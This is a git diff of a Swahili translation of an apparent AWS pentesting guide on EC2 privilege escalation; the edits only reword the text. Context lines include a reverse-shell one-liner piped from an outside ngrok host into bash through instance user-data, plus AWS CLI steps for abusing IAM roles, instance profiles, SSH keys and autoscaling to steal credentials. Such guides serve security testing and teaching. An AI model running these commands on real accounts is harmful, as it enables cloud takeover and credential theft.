diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 3960632f8..42c5a1633 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -12,11 +12,11 @@ Kwa maelezo zaidi kuhusu **EC2** angalia: ### `iam:PassRole`, `ec2:RunInstances` -Mshambuliaji anaweza **kuunda na instance ikifunga IAM role kisha kufikia instance hiyo** ili kuiba akidi za IAM role kutoka kwa metadata endpoint. +Mshambuliaji anaweza **kuunda na instance ikifunga jukumu la IAM kisha kufikia instance hiyo** ili kuiba akidi za jukumu la IAM kutoka kwa kiunganishi cha metadata. - **Upatikanaji kupitia SSH** -Kimbia instance mpya ukitumia **ssh key** iliyoundwa (`--key-name`) kisha ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji kuwa na ruhusa `ec2:CreateKeyPair`). +Kimbia instance mpya ukitumia **funguo za ssh** zilizoundwa (`--key-name`) kisha ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji kuwa na ruhusa `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -30,7 +30,7 @@ echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name=E \ +--iam-instance-profile Name= \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` @@ -44,7 +44,7 @@ Kuwa makini na GuradDuty ukitumia akreditivu za jukumu la IAM nje ya mfano: #### Privesc kwa ECS -Kwa seti hii ya ruhusa unaweza pia **kuunda mfano wa EC2 na kujiandikisha ndani ya klasta ya ECS**. Kwa njia hii, **huduma** za ECS zitakuwa **zinakimbia** ndani ya **mfano wa EC2** ambapo una ufikiaji na kisha unaweza kuingia kwenye huduma hizo (mikononi ya docker) na **kuchukua majukumu yao ya ECS yaliyounganishwa**. +Kwa seti hii ya ruhusa unaweza pia **kuunda mfano wa EC2 na kujiandikisha ndani ya klasta ya ECS**. Kwa njia hii, **huduma** za ECS zita **endesha** ndani ya **mfano wa EC2** ambapo una ufikiaji na kisha unaweza kuingia kwenye huduma hizo (mashine za docker) na **kuchukua majukumu yao ya ECS yaliyounganishwa**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -67,7 +67,7 @@ aws-ecs-privesc.md Ikiwa huwezi **kuunda mfano mpya** lakini una ruhusa `ecs:RegisterContainerInstance` unaweza kuwa na uwezo wa kujiandikisha mfano ndani ya klasta na kutekeleza shambulio lililozungumziwa. -**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa ECS majukumu yaliyounganishwa na kazi. +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya ECS yaliyounganishwa na kazi. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** @@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Ikiwa **profaili ya mfano ina jukumu** na mshambuliaji **hawezi kuondoa** hiyo, kuna njia nyingine. Anaweza **kupata** **profaili ya mfano isiyo na jukumu** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **jukumu** kwa hiyo **profaili ya mfano** (kama ilivyojadiliwa hapo awali), na **kuunganisha profaili ya mfano** iliyovunjika kwa mfano uliovunjika: +Ikiwa **profaili ya mfano ina jukumu** na mshambuliaji **hawezi kuondoa** hiyo, kuna njia nyingine. Anaweza **kupata** **profaili ya mfano isiyo na jukumu** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **jukumu** kwa **profaili hiyo ya mfano** (kama ilivyojadiliwa hapo awali), na **kuunganisha profaili ya mfano** iliyovunjika kwa mfano uliovunjika: - Ikiwa mfano **hauna profaili yoyote ya mfano** (`ec2:AssociateIamInstanceProfile`) ```bash @@ -98,11 +98,11 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- au **badilisha** **profaili ya mfano** ya mfano ulioathirika (`ec2:ReplaceIamInstanceProfileAssociation`). +- au **badilisha** **profaili ya mfano** ya mfano ulioathiriwa (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano). +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano). ### `ec2:RequestSpotInstances`,`iam:PassRole` @@ -180,7 +180,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Mipangilio ya Uzinduzi** yenye **Jukumu la IAM** na **rev shell** ndani ya **data ya mtumiaji**, kisha **kuunda kundi la autoscaling** kutoka kwa mipangilio hiyo na kusubiri rev shell ili **kuiba Jukumu la IAM**. +Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Mipangilio ya Kuanzisha** yenye **Jukumu la IAM** na **rev shell** ndani ya **data ya mtumiaji**, kisha **kuunda kundi la autoscaling** kutoka kwa mipangilio hiyo na kusubiri rev shell ili **kuiba Jukumu la IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -200,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kupandisha** mamlaka kwa jukumu la IAM kwa sababu ili kuunganisha jukumu lililoainishwa katika Mipangilio ya Uzinduzi au katika Kigezo cha Uzinduzi **unahitaji ruhusa `iam:PassRole` na `ec2:RunInstances`** (ambayo ni privesc inayojulikana). +Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kupandisha** mamlaka kwa jukumu la IAM kwa sababu ili kuunganisha jukumu lililotajwa katika Mipangilio ya Uzinduzi au katika Kigezo cha Uzinduzi **unahitaji ruhusa `iam:PassRole` na `ec2:RunInstances`** (ambayo ni privesc inayojulikana). ### `ec2-instance-connect:SendSSHPublicKey` @@ -211,7 +211,7 @@ aws ec2-instance-connect send-ssh-public-key \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayoendesha. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya IAM ya EC2 yaliyounganishwa na mifano inayotembea. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` @@ -250,9 +250,9 @@ done ``` Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (`aws_|password|token|api`), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti. -Ikiwa tutapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia akreditivu hizi kuthibitisha kwenye AWS. +Ikiwa tutapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia akreditivu hizi kujiandikisha kwenye AWS. -**Athari Zinazoweza Kutokea:** Kuongezeka kwa haki moja kwa moja kwa mtumiaji wa IAM. +**Athari Zinazoweza Kutokea:** Kuinua kibali moja kwa moja kwa mtumiaji wa IAM. ## Marejeleo